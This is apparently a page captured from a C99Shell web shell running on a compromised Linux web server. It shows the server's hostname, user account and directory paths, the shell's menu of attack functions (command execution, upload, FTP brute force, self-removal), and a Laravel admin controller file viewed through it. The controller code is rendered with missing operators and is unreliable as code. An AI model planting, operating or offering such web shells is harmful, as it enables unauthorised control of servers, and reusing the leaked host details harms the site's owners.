!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PagesController.php (2.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Models\Page;
use 
App\Http\Controllers\Controller;
use 
App\Models\CategoryDescription;
use 
App\Traits\CustomFileTrait;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Facades\Validator;

class 
PagesController extends Controller
{

    use 
CustomFileTrait;
    protected 
$path '';

    public function 
__construct()
    {
        
$this->path public_path(config('constant.file_path.category'));
    }

    public function 
index(Request $request) {

        
$name $request->get('name''');
        
$records Page::select('*')
            ->
when($name != '', function($q) use($name) {
                    
$q->where('title','like',"%$name%");
        })->
whereDeletedAt(null)->paginate($this->defaultPaginate);
        return 
view('admin.pages.index',['records' => $records]);
    }

    public function 
add() {
        return 
view('admin.pages.add');
    }

    public function 
store(Request $request) {
        
$this->validate($request, [
            
'title' => ['required''string''max:255'],
            
'heading' => ['required''string''max:255'],
            
'description' => ['required'],
        ]);

        
$category = new Page($request->only('title','heading','description'));
        
$category->save();

        
//update pages array file
        
$records Page::select('*')
            ->
whereDeletedAt(null)
            ->
orderBy('created_at','DESC')
            ->
get()
            ->
toArray();

        
$val  =    json_encode($records);
        
$filename base_path().'/storage/app/cmsPages.json';
        
$fp=fopen($filename,"w");
        
fwrite($fp,$val);
        
fclose($fp);

        return 
redirect(route('pages'))->with('success','Page Created Successfully');
    }

    public function 
edit($id) {

        return 
view('admin.pages.edit',[
            
'data' => Page::findOrFail($id),
        ]);
    }

    public function 
update(Request $request,$id) {

      
$this->validate($request, [
          
'title' => ['required''string''max:255'],
          
'heading' => ['required''string''max:255'],
          
'description' => ['required'],
      ]);

        
//Update Category
        
$page Page::findOrFail($id);

        
$page->fill($request->only('title','heading','description'))->save();

        
//update pages array file
        
$records Page::select('*')
            ->
whereDeletedAt(null)
            ->
orderBy('created_at','DESC')
            ->
get()
            ->
toArray();

        
$val  =    json_encode($records);
        
$filename base_path().'/storage/app/cmsPages.json';
        
$fp=fopen($filename,"w");
        
fwrite($fp,$val);
        
fclose($fp);
        
        return 
redirect(route('pages'))->with('success','Page Updated Successfully');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--